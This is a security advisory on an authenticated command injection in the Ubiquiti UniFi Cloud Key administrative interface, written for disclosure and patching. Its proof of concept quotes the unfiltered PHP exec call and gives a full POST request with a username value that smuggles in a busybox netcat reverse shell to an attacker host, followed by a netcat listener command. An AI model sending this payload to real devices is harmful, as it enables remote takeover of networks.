Vendor Description
“Ubiquiti Networks develops high-performance networking technology for service providers and enterprises. Our technology platforms focus on delivering highly advanced and easily deployable solutions that appeal to a global customer base in underserved and underpenetrated markets.”
Source: http://ir.ubnt.com/
Business Recommendation
The patch supplied by the vendor should be installed immediately.
There are indications for further security issues within this device, hence SEC Consult recommends performing a detailed review by security professionals.
Vulnerability Overview / Description
1) Authenticated Command Injection in Administrative Interface
A change of the username with a hand crafted request leads to command injection in the administrative interface. This vulnerability can be exploited when the cloud key web interface is exposed to the internet.
An attacker which can access the administrative web interface of the cloud key after cracking a cloud account password is able to execute arbitrary commands without access to the local network. Since the Ubiquiti switches also use the same credentials, the whole network can be compromised over this attack vector.
Proof Of Concept
1) Authenticated Command Injection in Administrative Interface
The following PHP code excerpt is responsible for the username command execution:
(api.inc, line 455)
[...]
function chusername($username) {
exec(CMD_CHUSERNAME . ' ' . $username, $out, $rc);
return $rc;
}
[...]
Since ‘$username’ is not filtered, a command injection is possible. The following POST request opens a reverse-shell to the attacker:
POST /api/account HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
X-Access-Token: <Token>
Referer: $host/manage/maintenance
Content-Length: 57
Cookie: CKSESSIONID=<Session-ID>
Connection: close
{"username":";busybox nc $attackerIP 8999 -e /bin/bash;"}
As listener, netcat was used:
$ nc -lvp <Attacker-Port>
Vulnerable / Tested Versions
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version was the latest at the time the security vulnerabilities were discovered. Version 0.6.4 has been checked and found to be vulnerable as well.